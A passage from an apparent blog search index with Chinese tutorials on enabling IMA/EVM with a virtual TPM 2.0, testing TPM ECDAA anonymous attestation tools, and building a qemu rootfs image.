https://github.com/tpm2-software/tpm2-tools/issues/2181 [10] https://github.com/tpm2-software/tpm2-tools/issues/1884 [11] tpm2-tools seal-unseal data after reboot [12] tss2 vs tpm2-tss [13] TPM模拟器和TPM2-TSS安装 [14] tpm模拟器与新版tpm2-tss\\abrmd\\tools安装 [15] TPM 协议栈和工具介绍","link":"/2020/11/24/Vmware-Fusion-TPM%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/"},{"title":"在TPM2.0下使用IMA/EVM","text":"事情的起因是在根据Integrity Measurement Architecture (IMA)上所叙述的教程,来启用Linux上的IMA/EVM模块。但是由于TPM2.0太新了,配置过程中涉及到TPM芯片的部分,指令无法正确执行。 特别说明,此处的测试均是以root用户来进行实验的,并未考虑普通用户使用时所涉及的功能效果以及权限问题。 执行环境 Ubuntu 20.04.1 vmware虚拟TPM2.0 如何在Vmware虚拟机中安装TPM芯片,参见教程Vmware Fusion TPM安装过程 Ubuntu上开启IMA/EVM由于Ubuntu的内核中已经默认编译了IMA和EVM模块,因此不需要再手动重新编译内核。 IMA/EVM命令行参数根据Ubuntu一个较为久远的IMA wiki中所描述的方式启用ima。首先打开/etc/default/grub文件,在里面找到GRUB_CMDLINE_LINUX参数。在这里添加Linux启动时的命令行参数,不同参数之间用空格分隔。(如果GRUB_CMDLINE_LINUX 内部已经有其他的参数,就在末尾添加,不要忘记空格)。 1GRUB_CMDLINE_LINUX="ima_tcb ima_appraise_tcb ima_appraise=fix evm=fix" 这里介绍一下各个参数的含义(还有许多其他的参数,请参考文档Integrity Measurement Architecture (IMA)): ima_policy 指定内置策略。在Linux-4.13中默认值为无策略。此外该参数可以被指定多次,最终结果为多个参数的并集。 可选参数: tcb - 测量所有运行的可执行文件,所有要执行的mmap文件(例如共享库),所有内核模块以及所有固件。此外,还将测量打开供root用户读取的文件。 appraise_tcb - 评估root拥有的所有文件。 secure_boot - 评估所有加载的模块,固件,kexec’d kernel和IMA策略。它还要求他们也具有IMA签名。通常在“安全启动”方案中将其与内核中的CONFIG_INTEGRITY_TRUSTED_KEYRING选项一起使用,并通过固件从OEM或通过垫片中的MOK(Machine Owner Key)获得公钥。 ima_tcb如果指定,则启用TCB策略,该策略可以满足Trusted Computing Base的需求。这意味着IMA将测量所有已执行的程序、可执行程序的文件映射以及uid = 0所打开供读取的所有文件。 ima_appraise_tcb ima_appraise_tcb用于启用ima文件评估功能。IMA评估扩展针对存储为扩展属性security.ima的“良好”值添加了本地完整性验证和度量的实施。验证security.ima的初始方法是基于散列的,它提供了文件数据的完整性;而基于数字签名的除了提供文件数据的完整性之外,还提供了真实性。 ima_appraise=fix 在启用ima appraise功能时,与ima_appraise_tcb一同加入到命令行参数,会对文件系统进行标记(存储在拓展属性security.ima中)。标记结束后,可以删除该参数,仅保留ima_appraise_tcb参数。 可选参数: off - 是关闭完整性评估验证的运行时参数。 enforce - 验证并加强运行时文件的完整性。 [默认参数] fix - 对于非数字签名的文件,更新security.ima拓展属性以反映现有的文件哈希。 log - 与enforce类似,区别在于不会拒绝文件的访问,而是记录日志。 evm=fix 为了标记使用扩展属性security.evm现有文件系统,已定义了新的引导参数evm = fix。 ima_audit=0 信息性审核日志记录 可选参数: 0 - 正常完整性审核消息。[默认参数] 1 - 启用额外信息完整性审核消息。 修改完启动命令行参数后,使用如下命令更新自动生成文件更新/boot/grub/grub.cfg。然后重启电脑。 1sudo update-grub EVM的使用还至少需要一个evm-key,因此在下文中继续EVM的设置。 EVM受信任的加密密钥受信任的密钥要求具有受信任的平台模块(TPM)芯片以提供更高的安全性,而加密的密钥可以在任何系统上使用。即只有拥有TPM的平台上才能使用trusted方式来创建密钥。 (如果没有TPM芯片,则可以使用用户的方式创建,具体的Creating trusted and EVM encrypted keys参照中的教程。这里因为没有测试,就不赘述了。) 默认情况下,受信任和EVM快捷方式模块在/etc/keys中查找受信任和EVM加密的密钥。要创建并保存内核主密钥和EVM密钥。 12345678910$ su -c 'mkdir -p /etc/keys'# To create and save the kernel master key (trusted type):$ su -c 'modprobe trusted encrypted'$ su -c 'keyctl add trusted kmk-trusted "new 32" @u'$ su -c 'keyctl pipe `keyctl search @u trusted kmk-trusted` >/etc/keys/kmk-trusted.blob'# Create the EVM encrypted key$ su -c 'keyctl add encrypted evm-key "new trusted:kmk-trusted 32" @u'$ su -c 'keyctl pipe `keyctl search @u encrypted evm-key` >/etc/keys/evm-trusted.blob' 但是在执行到命令keyctl add trusted kmk-trusted "new 32" @u时,可能会出现错误add_key: Invalid argument。尽管拥有TPM芯片,该错误依然会出现。解决方案可以参见Linux内核文档Trusted and Encrypted Keys。 对于TPM1.2: 默认情况下,可信密钥在SRK下密封,该密钥具有默认授权值(20个零)。可以在trouser的工具tpm_takeownership -u -z中进行设置。因此对于TPM1.2上述创建EVM可信密钥的执行不会出现问题。 对于TPM2.0: 用户必须首先创建一个存储密钥并使其持久化,以便该密钥在重新启动后可用。可以使用以下命令来完成。 使用IBM TSS 2 stack(我的环境不适用这种方式,因此没有经过测试): 123#> tsscreateprimary -hi o -stHandle 80000000#> tssevictcontrol -hi o -ho 80000000 -hp 81000001 或者使用Intel TSS 2 stack: 123#> tpm2_createprimary --hierarchy o -G rsa2048 -c key.ctxt#> tpm2_evictcontrol -c key.ctxt 0x81000001persistentHandle: 0x81000001 创建完之后将原先的可信密钥命令修改为keyctl add trusted kmk-trusted "new 32 keyhandle=0x81000001" @u ,即可。后续的命令照常执行。 在创建完evm-key之后,使用如下命令来启用evm。 1echo "1" >/sys/kernel/security/evm IMA/EVM测试使用测试Ubuntu中默认挂载了securityfs伪文件系统,在/sys/kernel/security中。如果系统没有默认挂载则使用如下命令手动挂载。 1mount -t securityfs securityfs /sys/kernel/security 然后使用命令more /sys/kernel/security/ima/ascii_runtime_measurements查看ima模块存储的运行度量值。ima的度量日志格式可以参见附录A 然后随意创建一个文件并保存,如test2.txt。之后再使用getfattr工具查看其拓展属性(如果没有这条命令,则使用apt install attr安装)。 由于ima_appraise='fix'参数的作用是重新标记系统,所以此时修改test2.txt的内容则,ima和evm相应的值也会发生改变。 IMA评估首先使用keyctl show查看用户会话中已有的密钥。如果”kmk-trusted”和”eve-key”不存在,则使用下列命令添加。 123#> keyctl add trusted kmk-trusted "load `cat /etc/keys/kmk-trusted.blob` keyhandle=0x81000001" @u#> keyctl add encrypted evm-key "load `cat /etc/keys/evm-trusted.blob`" @u#> echo "1" >/sys/kernel/security/evm 创建一个文件text.txt,写入一些文字,然后查看其内存储的ima和evm值。 接着使用命令对所有文件进行标记。该方法执行耗时较长。 1#> time find / -fstype ext4 -type f -uid 0 -exec dd if='{}' of=/dev/null count=0 status=none \\; 由于ima_appraise='fix'参数的作用是重新标记系统,标记完之后修改为ima_appraise=enforce。则会使系统在使用存储的值之前对其进行验证。如果不匹配,则不会加载文件,对该文件的任何访问都将被拒绝,并显示“权限被拒绝”错误;如果启用了审核,则会生成审核事件。 因此修改/etc/default/grub文件,将ima_appraise设为enforce,同时启用审核。 1GRUB_CMDLINE_LINUX="ima_tcb ima_appraise_tcb ima_appraise=enforce evm=fix ima_audit=0" 然后再次执行update-grub并重启系统。 然后修改text.txt中存储的ima的值为其他值。修改之后可以看到text.txt的访问被拒绝。同时在dmesg中记录了一条信息说明了错误的原因为”invalid-hash”。 然后再测试命令apt,得到如下结果: 测试工具验证(未完成)由于我的测试环境使用的是TPM 2.0,出现了错误Error event too long PCR-00,导致该工具测试未完成。以后有时间再选用TPM 1.2进行测试。 IMA测试程序是Linux Test Project.的一部分。 首先安装校验工具: 12345#> wget -O ltp-ima-standalone-v2.tar.gz http://downloads.sf.net/project/linux-ima/linux-ima/ltp-ima-standalone-v2.tar.gz#> tar -xvzf ltp-ima-standalone-v2.tar.gz#> cd ima-tests#> make#> make install 如果make install,出现如下图所示的结果,则说明install在了错误的位置。该命令应该放在某个bin目录下。 因此修改ima-tests/Makefile中的DESTDIR的值为/usr/local/bin/,如下图所示。 然后重新执行make install。安装成功后则有了三个命令行工具。 IMA/EVM数字签名使用命令分别为ima和evm生成公私钥对,并放入到/etc/keys/目录下。 123456# generate unencrypted private keyopenssl genrsa -out privkey_evm.pem 1024openssl rsa -pubout -in privkey_evm.pem -out pubkey_evm.pemopenssl genrsa -out privkey_ima.pem 1024openssl rsa -pubout -in privkey_ima.pem -out pubkey_ima.pem 然后安装ima-evm-utils包,以获得工具evmctl。 1apt install ima-evm-utils 接着使用evmctl工具将刚刚创建好的公钥导入到keyring中存储。如果不加参数--rsa,添加key会失败。 12345ima_id=`keyctl newring _ima @u`evmctl import --rsa /etc/keys/pubkey_ima.pem $ima_idevm_id=`keyctl newring _evm @u`evmctl import --rsa /etc/keys/pubkey_evm.pem $evm_id 然后对着之前的文件test.txt进行签名。 12# 计算文件hash存入security.ima,并且产生数字签名存入security.evmevmctl sign --imahash test.txt 12# 计算ima签名和evm签名evmctl sign --imasig test.txt 12# 仅计算ima签名evmctl ima_sign test.txt 文章涉及部分命令解释keyctl该命令程序用于控制密钥管理工具使用各种子命令的各种方式。 keyctl add trusted kmk-trusted "new 32 keyhandle=0x81000001" @u 对于可信密钥keyctl add trusted name "new keylen [options]" ring则有这种固定格式。 密钥类型为trusted,该类型仅有TPM芯片存在的情况下才能使用。 kmk-trusted是自定义的密钥描述,也即密钥的名字。 "new 32 keyhandle=0x81000001"代表生成的可信密钥长度为32字节(可信密钥支持32-128字节,上限为2048位SRK(RSA)密钥长度,并带有所有必要的结构/填充。)。keyhandle=0x81000001指向某一持久化密钥的句柄0x81000001。 @u特殊的密钥环标识符,表示用户特定密钥环。该密钥环在特定用户拥有的所有进程之间共享。它不会直接搜索,但通常是从会话密钥环链接到的。 该命令的执行之后查看: 打印该密钥的值: keyctl pipe <key>:将源数据输出到标准输出流。 keyctl add encrypted evm-key "new trusted:kmk-trusted 32" @u encrypted用于给密钥加密。加密密钥不依赖于TPM,并且速度更快,因为它们使用AES进行加密/解密。 新密钥由内核生成的随机数创建,并使用指定的“主”密钥进行加密/解密。 “主”密钥可以是受信任密钥或用户密钥类型。 加密密钥的主要缺点是,如果它们不根植于受信任的密钥中,则它们的安全性仅与加密它们的用户密钥一样安全。 因此,应该以一种尽可能安全的方式加载主用户密钥,最好在启动初期就加载。 该用法格式keyctl add encrypted name "new key-type:master-key-name keylen" ring 执行后查看密钥 打印该密钥的值: tpm2-tools内的命令 tpm2_createprimary --hierarchy o -G rsa2048 -c key.ctxt tpm2_createprimary用于创建四种不同授权层次的主对象(Owner, Platform, Endorsement, NULL)。这条命令中--hierarchy o对应的层次为Owner。 -G指定生成主密钥的算法 -c key.ctxt表示保存生成的对象主内容 该命令执行结果如下: 其key.ctxt内部分内容如下图: tpm2_evictcontrol -c key.ctxt 0x81000001 tpm2_evictcontrol用于创建或删除持久化对象。这条命令的作用就是将提供的临时对象存储到一个持久化的句柄0x81000001中。 如果一个对象是持久的,则该对象驻留在TPM中的持久句柄地址上。 使用tpm2_readpublic(用于读取公共区域的对象)读取句柄内的值 附录A:IMA模版注:以下均内容均在内核版本v5.4.120下进行叙述,不同的内核版本细节上可能存在差异。 模版代表了IMA度量日志的输出格式,以一条来自ascii_runtime_measurements的记录为例: 110 972d62ff5b3a74e89952e0980b2099eed49bf8f0 ima-ng sha1:e9002ba6c5a98f5b7a33dc6bbf9ac1863873b713 /init 当前条目关联的PCR寄存器:10 当前模版的哈希值(默认SHA1):972d62ff5b3a74e89952e0980b2099eed49bf8f0 当前模版名称:ima-ng 模版相关数据:sha1:e9002ba6c5a98f5b7a33dc6bbf9ac1863873b713 模版相关数据:/init 这其中前三者,也即PCR、模版哈希、模版名称,是必须的,而之后的模版相关数据则是根据不同模版规则来记录。除此之外,模版哈希的计算也会因为不同的模版而存在差异。 模版管理机制原始ima模版是固定长度的,包含文件哈希(固定20字节)和路径名(最大长度不超过255字节)。为了克服这个限制,并且添加额外的元数据(如LSM标签),需要定义新的模版。但是每次定义新的模版都需要编写额外的生成和显示额外数据的代码,为避免代码显著增长,引入模版管理机制来统一处理。 ps:可以理解成采取多态的方式来处理不同模版的处理问题 模版包含两个核心的数据结构模版描述符,记录模版相关信息;以及模版字段,用于生成和显示数据。除此之外,还有一个模版条目结构,用于关联模版描述符和模版字段,并且实际记录模版字段的值。 这里可能有点绕,结合源码说明一下。struct ima_template_field是模版字段的结构体,这里面记录了字段ID、用于初始化的函数指针、以及用于输出的函数指针。 1234567struct ima_template_field { const char field_id[IMA_TEMPLATE_FIELD_ID_MAX_LEN]; int (*field_init)(struct ima_event_data *event_data, struct ima_field_data *field_data); void (*field_show)(struct seq_file *m, enum ima_show_type show, struct ima_field_data *field_data);}; 也就是说在ima_template_field中不会实际存储字段的值,而是存储字段的类型以及对字段的操作。v5.4.120版本内核定义的字段ID有以下几类: “d”: 事件摘要,如被度量的文件摘要,使用SHA1或MD5计算 “n”: 事件名称,如被度量的文件名,最大长度为255字节 “d-ng”: 事件摘要,使用任意的哈希算法,以[\\<hash algo>:]digest格式进行输出,仅当算法不是SHA1或MD5时输出前缀 “d-modsig”: 未附加modsig的文件摘要 “n-ng”: 无长度限制的事件名 “sig”: 文件签名 “modsig”:追加的文件签名 “buf”: 用于生成没有大小限制的哈希的缓冲区数据 模版描述符则决定了格式化输出的类型有哪些,定义的模版描述符有: “ima”:格式化”d|n” “ima-ng”:格式化”d-ng|n-ng” “Ima-sig”:格式化”d-ng|n-ng|sig” “ima-buf”:格式化”d-ng|n-ng|buf” “ima-modsig”:格式化”d-ng|n-ng|sig|d-modsig|modsig” 接下来视角转到描述符和条目结构体,ima_template_field在ima_template_desc中是以一个指针数组进行存储的,该数组的下标与ima_template_entry中的template_data数组下标是一一对应的。 123456789101112131415struct ima_template_desc { struct list_head list; char *name; char *fmt; int num_fields; const struct ima_template_field **fields;};struct ima_template_entry { int pcr; u8 digest[TPM_DIGEST_SIZE]; /* sha1 or md5 measurement hash */ struct ima_template_desc *template_desc; /* template descriptor */ u32 template_data_len; struct ima_field_data template_data[0]; /* template related data */}; 本文虽然并不是以源码分析为主,但是提及上述三个结构体对接下来的模版哈希计算规则有帮助。 模版哈希模版哈希是对模版条目内所具有的全部字段计算哈希。由函数ima_calc_field_array_hash_tfm(位于security/integrity/ima/ima_crypto.c)可以看出,计算方式为: 如果模版名不是”ima”,则先update字段长度,再update字段的值 如果模版名为”ima”,则不会将字段长度加入到摘要中;并且由于”ima”模版要求事件名(如文件名)最大长度不超过255字节,因此会对事件名进行截断再进行计算。 123456789101112131415161718192021222324252627282930313233343536373839404142434445static int ima_calc_field_array_hash_tfm(struct ima_field_data *field_data, struct ima_template_desc *td, int num_fields, struct ima_digest_data *hash, struct crypto_shash *tfm){ SHASH_DESC_ON_STACK(shash, tfm); int rc, i; shash->tfm = tfm; hash->length = crypto_shash_digestsize(tfm); rc = crypto_shash_init(shash); if (rc != 0) return rc; for (i = 0; i < num_fields; i++) { u8 buffer[IMA_EVENT_NAME_LEN_MAX + 1] = { 0 }; u8 *data_to_hash = field_data[i].data; u32 datalen = field_data[i].len; u32 datalen_to_hash = !ima_canonical_fmt ? datalen : cpu_to_le32(datalen); if (strcmp(td->name, IMA_TEMPLATE_IMA_NAME) != 0) { rc = crypto_shash_update(shash, (const u8 *) &datalen_to_hash, sizeof(datalen_to_hash)); if (rc) break; } else if (strcmp(td->fields[i]->field_id, "n") == 0) { memcpy(buffer, data_to_hash, datalen); data_to_hash = buffer; datalen = IMA_EVENT_NAME_LEN_MAX + 1; } rc = crypto_shash_update(shash, data_to_hash, datalen); if (rc) break; } if (!rc) rc = crypto_shash_final(shash, hash->digest); return rc;} 参考资料 Integrity Measurement Architecture (IMA) keyctl(1) — Linux manual page Trusted and Encrypted Keys tpm2_createprimary - Man Page tpm2_evictcontrol - Man Page Encrypted keys for the eCryptfs filesystem evmctl - IMA/EVM signing utility tpm2_readpublic.1 Integrity Measurement Architecture ima_policy IMA-templates","link":"/2020/11/25/%E5%9C%A8TPM2-0%E4%B8%8B%E4%BD%BF%E7%94%A8IMA-EVM/"},{"title":"TPM2.0 ECDAA方法测试","text":"VTPM该方式是基于Vmware Fusion软件给虚拟机VM添加TPM设备。由于测试的物理机没有物理TPM设备,因此仅使用VTPM进行测试。 测试环境 Ubuntu 20.04.1 vmware虚拟TPM2.0 如何在Vmware虚拟机中安装TPM芯片,参见教程Vmware Fusion TPM安装过程 tpm2-software Intel实现的tpm2软件栈全家桶,安装方式见Vmware Fusion TPM安装过程 (optional) xaptum/ecdaa工具 由于该工具的仓库存在搜索不到ecdaa工具的情况,在xaptum/ecdaa方式部分讲解手动安装的方式。 (optional) ibm-research/ecdaa方式 TPM 直接匿名证明从TPM 2.0的用户态工具tpm2-tools的手册[1]中可以看到,TPM2.0支持基于椭圆曲线加密方案的直接匿名证明ECDAA。 然后在Ubuntu中检索相关的库,可以发现Ubuntu有不少关于ECDAA的编程库。 tpm2-tools方式(未完成)使用Intel实现的用户态工具实现。 ibm-research/ecdaa方式(未完成)这种方式是以Java语言实现的。 TPM-Emulator测试环境 Ubuntu 18.04.5 为保证测试环境纯净,不会发生潜在的冲突,该VM内未添加TPM设备 Dependency: common:gcc,make IBM-software:openssl UoS-SCCS/ecc-daa:git,g++,libgmp3-dev apt install -y git gcc g++ make libssl-dev libgmp3-dev IBM-software ibmtpm1119 TPM Simulator 安装方法123456789101112mkdir /opt/ibmtpm1119cp ibmtpm1119.tar.gz /opt/ibmtpm1119cd /opt/ibmtpm1119gunzip ibmtpm1119.tar.gztar -xvf ibmtpm1119.tarcd srcmakecd /optln -s ibmtpm1119 ibmtpm ibmtss1119 TSS以及TPM Simulator配套TPM用户态工具 安装方式12345678910111213mkdir /opt/ibmtss1119cp ibmtss1119.tar.gz /opt/ibmtss1119cd /opt/ibmtss1119gunzip ibmtss1119.tar.gztar -xvf ibmtss1119.tarcd utilsmakecd /optln -s ibmtss1119 ibmtss 设置文件权限 chmod 755 -R /opt/ibmt* 设置路径 123456789# 为了能够在非root用户下执行代码,设置以下环境变量export LD_LIBRARY_PATH=/opt/ibmtss/utilsexport PATH=$PATH:/opt/ibmtss/utils# 如果拥有物理TPM则进行以下设置export TPM_INTERFACE_TYPE=dev# or 如果没有物理TPM则使用以下设置export TPM_INTERFACE_TYPE=socsim UoS-SCCS/ecc-daa方式 TPM-Emulator安装测试另开一个新的终端窗口来启动TPM模拟器服务 12sudo /opt/ibmtpm/src/tpm_server # 启动服务/opt/ibmtss/utils/reg.sh -a # 调用测试脚本进行测试 TPM 直接匿名证明UoS-SCCS/ecc-daa方式该工具的实现不是很完善,仅能作为一个很简单的测试使用。 相关命令的详细解释见参考资料[11]。 编译并配置从github仓库拉去并编译该代码 12345678910111213git clone --depth=1 https://github.com/UoS-SCCS/ecc-daa.gitcd ecc-daamakemkdir $(pwd)/bin./copy_programs.sh $(pwd)/bin# 如果使用了TPM模拟器则拷贝tpm_server命令到bin目录下cp /opt/ibmtpm/src/tpm_server $(pwd)/bin# 设置PATHexport PATH=$(pwd)/bin:$PATH ecc-daa提供了脚本来设置一些环境变量 12345# TPM模拟器source ./setupForTPMSim.sh $(pwd)/bin# 物理TPMsource ./setupForTPMSim.sh $(pwd)/bin 测试执行开启两个终端,其中一个用于启用tpm服务,另一个用于测试。 注意:由于直接使用export来注册的环境变量是临时的,仅对当前终端生效,并且会因为终端的关闭而被删除。因此需要对两个终端分别执行上述的环境变量注册;如果需要持久化,则将其写入到.bashrc Terminals 1:启用tpm服务 123mkdir ~/Daa_logscd /opt/ecc-daa # ecc-daa工具的根目录./start_newTPM.sh ~/Daa_logs # 指定~/Daa_logs目录来存储日志信息 Terminals 2:用于测试 由于provision_tpm工具编写的原因,它需要一个固定的目录/home/cn0016/TPM_data/来存放数据。 provision_tpm用于准备将要使用的TPM。它会创建RSA背书密钥,此外该命令还会写入PCR 23以进行TPM2_Quote测试。 1234# 创建所需的文件夹mkdir -p /home/cn0016/TPM_data/provision_tpm -s 上述命令执行完之后会创建两个二进制文件。 make_daa_credential将颁发者的公钥、Daa_key及其凭据写入文件。其中文件名中的S代表TPM模拟器,如果是物理TPM,则使用字母T;此外文件名最后的数字代表的是当前时间。 1make_daa_credential -s -d ~/Daa_logs 日志文件Daa_S_cre_log_368538391输出如下: 读取凭据文件并使用存储在文件中的密钥和凭据对消息进行签名。 1daa_sign_message -d ~/Daa_logs -n Daa_S_cre_368538391 日志文件Daa_S_sign_no_bsn_log_368538391内容如下: verify_daa_signature命令会读取签名文件,验证签名并检查随机凭证。 1verify_daa_signature -d ~/Daa_logs Daa_S_sign_no_bsn_368538391 签名校验Daa_S_sign_no_bsn_ver_368538391结果如下: daa_certify_key用于读取凭据文件,创建并加载ECDSA密钥,然后为其生成证书。密钥证书、基本名称(basename)、J点和K点、发行者的公钥、随机凭证和证书签名均存在文件中。 1daa_certify_key -d ~/Daa_logs -b Daa_S_cre_368538391 日志文件Daa_S_certify_bsn_log_368538391内容如下: verify_daa_attest命令用于检查来自certify和quote程序的证明数据。证明数据中的签名和随机凭证部分一起被验证。 1verify_daa_attest -d ~/Daa_logs Daa_S_certify_bsn_368538391 证明的结果Daa_S_certify_bsn_ver_368538391如下:按照文档上的说法,此处应该出现一个*’Certify signature OK*。 xaptum/ecdaa方式这种方式是以C语言实现的。 签名和验证过程中,验证者还维护一个秘密密钥吊销列表,该列表列出了已知已被破坏的DAA秘密密钥。发行者可能会参与将此列表传达给所有验证者。此过程不在此项目的范围内。 编译并配置安装教程:https://github.com/xaptum/ecdaa/blob/master/doc/BUILDING.md 安装AMCL(Apache Milagro Cryptographic Library)。这个可以不手动安装,可以使用xaptum/ecdaa提供的脚本进行安装。 安装AMCL1234567891011121314151617181920# 拉取源代码git clone https://github.com/apache/incubator-milagro-crypto-c.git# 安装相关依赖sudo apt-get update -ysudo apt-get install -y \\ build-essential \\ cmake \\ doxygen \\cd incubator-milagro-crypto-cmkdir -p target/build cd target/build cmake -D CMAKE_INSTALL_PREFIX=/opt/amcl ../..export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:./ make make testmake docsudo make installexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:./:/opt/amcl/lib 安装tpm2-tss。这个可以不手动安装,可以使用xaptum/ecdaa提供的脚本进行安装。 12345678910111213141516171819202122232425262728293031git clone https://github.com/tpm2-software/tpm2-tss.gitsudo apt -y updatesudo apt -y install \\ autoconf-archive \\ libcmocka0 \\ libcmocka-dev \\ procps \\ iproute2 \\ build-essential \\ git \\ pkg-config \\ gcc \\ libtool \\ automake \\ libssl-dev \\ uthash-dev \\ autoconf \\ doxygen \\ libjson-c-dev \\ libini-config-dev \\ libcurl4-openssl-dev cd tpm2-tss./bootstrap./configuremake -j$(nproc)sudo make installsudo udevadm control --reload-rules && sudo udevadm triggersudo ldconfig 安装ECDAA相关开发库(这个没安装成功也不影响执行) 1apt install -y libecdaa-dev libecdaa-tpm0 libecdaa-tpm-dev 下载v1.0.0版本的安装包。 123456789101112131415161718192021222324252627282930313233343536373839404142wget https://github.com/xaptum/ecdaa/archive/v1.0.0.tar.gztar -zxvf v1.0.0.tar.gzcd ecdaa-1.0.0mkdir -p buildcd build# 提供四种可选的曲线算法(用逗号分隔) - 'BN254','BN254CX','BLS383','FP256BN'export ECDAA_CURVES=BN254,BN254CX,BLS383,FP256BN# 它也提供了一些依赖的安装脚本mkdir -p ./depsexport CMAKE_PREFIX_PATH=$(pwd)/deps## 使用提供的脚本编译AMCL../.travis/install-amcl.sh ./amcl ./deps ${ECDAA_CURVES}## 使用提供的脚本编译tpm2-tss (if building with TPM support)../.travis/install-tpm2-tss.sh ./tpm2-tss ./deps## 安装IBM TPM模拟器。因为路径使用的是局部变量,因此不用担心和之前安装的TPM模拟器冲突## xaptum需要使用配套的软件。。。../.travis/install-ibm-tpm2.sh ./ibm-tpm-simulator# 编译# 如果物理TPM芯片或TPM模拟器不可用,则ECDAA_TPM_SUPPORT必须设为OFF# TEST_USE_TCP_TPM代表使用TCP socket来测试TPMcmake .. -DCMAKE_BUILD_TYPE=Release -DECDAA_CURVES=${ECDAA_CURVES} -DECDAA_TPM_SUPPORT=ON -DTEST_USE_TCP_TPM=ONcmake --build .# 启动TPM模拟器../.travis/run-ibm-tpm2.sh ./ibm-tpm-simulator/ # 生成pub_key.txt和handle.txt以测试../.travis/prepare-tpm2.sh ./ibm-tpm-simulator/ ./test/tpm# 测试ctest -V# 安装cmake --build . --target install# 配置AMCL动态链接库路径export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/root/ecdaa-1.0.0/build/amcl/build/libldconfig 测试执行创建Group 123456789# Issuer creates a new keypairecdaa issuer genkeys -p issuer_public.bin -s issuer_private.bin# Issuer分发issuer_public.bin给Verifier# Verifier extracts group public key from Issuer's public keyecdaa extractgpk -p issuer_public.bin -g group_public.bin# Verifier持有group_public.bin Join 1234567891011# Member creates a keypairecdaa member genkeys -p member_public.bin -s member_private.bin# Member发送member_public.bin给Issuer# Issuer creates a credential on that public keyecdaa issuer issuecredential -p member_public.bin -s issuer_private.bin -c member_credential.bin# Issuer发送member_credential.bin给Member# Member持有member_credential.bin和它自己的member_private.bin Sign 1234567echo 0123456 | xxd -r -ps > message.bin# 用户将要被签名的信息存储在message.bin# Member creates signature over the messageecdaa member sign -s member_private.bin -c member_credential.bin -m message.bin -g signature.bin# Member将message.bin和signature.bin发送给Verifier Verify 1234567# Verifier checks signatureecdaa verify -g group_public.bin -m message.bin -s signature.bin# 使用vim修改了签名的内容后再次Verifyvim -b signature.binecdaa verify -g group_public.bin -m message.bin -s signature.bin 参考资料[1] gpg: keyserver receive failed: Server indicated a failure [2] tpm2-tools手册alg部分 [3] FIDO ECDAA [4] xaptum/ecdaa [5] Using Elliptic Curve Cryptography with TPM2 [6] Direct anonymous attestation [7] ibm-research/ecdaa [8] UoS-SCCS/ecc-daa [9] ibmswtpm2 [10] ibmtpm20tss [11] UoS-SCCS/ecc-daa Code Notes [12] TPM DAA Figures [13] xaptum/ecdaa BUILDING.md","link":"/2021/02/20/TPM2-0-ECDAA%E6%96%B9%E6%B3%95%E6%B5%8B%E8%AF%95/"},{"title":"qemu搭配rootfs启动虚拟机及其网络配置","text":"rootfs配置相较于busybox 的方式,这种方式的优点在于系统结构完整,拥有完整的操作系统的使用体验,并且可以通过在host上将rootfs.img 镜像挂载到指定目录,实现在host上对rootfs的操作。此外,这种方式下,可以检测到qemu挂载的设备。 在Ubuntu-20.04-base ,下载一个适用于Ubuntu的base包,其中包含一些基础的目录结构以及文件。 创建一个镜像来装载base包中的文件。 1234# 大小可以稍大一些,避免出现空间不足的问题,这里实际创建大小约11G左右dd if=/dev/zero of=rootfs.img bs=10240 count=1M# 对其进行格式化mkfs.ext4 -F -L linuxroot rootfs.img 挂载镜像,将base包放入镜像中。 1234567# 需要管理员权限sudo mkdir /mnt/tmpdir# 挂载镜像到/mnt/tmpdir 目录sudo mount -o loop rootfs.img /mnt/tmpdir/# 将下载好的base包解压到该目录中tar -zxvf ubuntu-base-20.04.1-base-amd64.tar.gz -C /mnt/tmpdir/ 挂载好镜像以后,我们需要在rootfs上面安装软件,为了能够使用apt命令去安装软件,因此需要在chroot切换根目录环境中之前,把所需的DNS配置以及各种内存文件系统挂载上去。 12345cp /etc/resolv.conf /mnt/tmpdir/etc/mount -t proc /proc /mnt/tmpdir/procmount -t sysfs /sys /mnt/tmpdir/sysmount -o bind /dev /mnt/tmpdir/devmount -o bind /dev/pts /mnt/tmpdir/dev/pts 切换根文件系统,修改根目录 1sudo chroot /mnt/tmpdir 安装必要的软件。以下的软件如果不全部安装,则在启动虚拟机时,会启动失败。以下软件全部安装大概需要800MB+的空间,因此最初的磁盘不能创建过小。 123456apt-get updateapt-get install language-pack-en-base sudo \\ ssh net-tools ethtool wireless-tools \\ ifupdown network-manager iputils-ping \\ rsyslog htop vim xinit xorg alsa-utils \\ --no-install-recommends 设置root密码,否则开机后无法登陆。 12345# 根据提示为root用户设置密码passwd root# 如果添加新用户,也可以使用这种方式设置新用户的密码。passwd <user> 配置必要的路由信息和主机名。 12echo "host" > /etc/hostnamesecho "127.0.0.1 localhost" > /etc/hosts 至此基本的配置已经结束。如果有需要可以自行通过apt-get工具下载所需的软件,或是修改本地的配置文件。按下Ctrl D即可退出chroot的根目录,回到之前的根目录。 取消文件系统的挂载 12345sudo umount /mnt/tmpdir/proc/sudo umount /mnt/tmpdir/sys/sudo umount /mnt/tmpdir/dev/pts/sudo umount /mnt/tmpdir/dev/sudo umount /mnt/tmpdir/ 在配置好上述rootfs的基本配置后,通过下述命令可以启动qemu虚拟机 1qemu-system-x86_64 --enable-kvm -s -kernel ./vmlinux -hda ./rootfs.img -m 4096M -nographic -append "root=/dev/sda console=ttyS0 $CMDLINE" qemu网络问题qemu常用的上网方式有两种: Usermode Networking(默认上网方式,类似于VMware中的NAT)、Bridged Networking(桥接模式),前者的好处是不需要在qemu启动过程中进行任何设置,是默认的上网方式,但是缺点是主机无法ping通虚拟机;后者主机与虚拟机之间可以互相通信,但是需要在host上开启一个虚拟网卡,负责转发网络包,且需要在qemu启动命令行中进行参数设置。 虚拟机网卡问题 在打开虚拟机后,可能会出现使用命令 ifconfig -a 只有 lo开头的网卡。 1234567891011121314151617# 出现这样的情况是因为没有网卡驱动,因为qemu默认使用的e1000,但是内核的默认编译选项中相应的驱动配置方式为手动加载,因此在没有手动加载的前提下,没有驱动无法识别网卡。# 两种方式:# 1- 将e1000 网卡驱动编译进内核 # .config 文件原始状态 CONFIG_E1000=m CONFIG_E1000E=m #将其修改为自动编译进内核 CONFIG_E1000=y CONFIG_E1000E=y# 2- 将e1000网卡驱动手动加载 # 下载e1000 网卡驱动 # 解压后进入 e1000根目录/src # 执行 make install 但是第二种方法会有一个问题,e1000 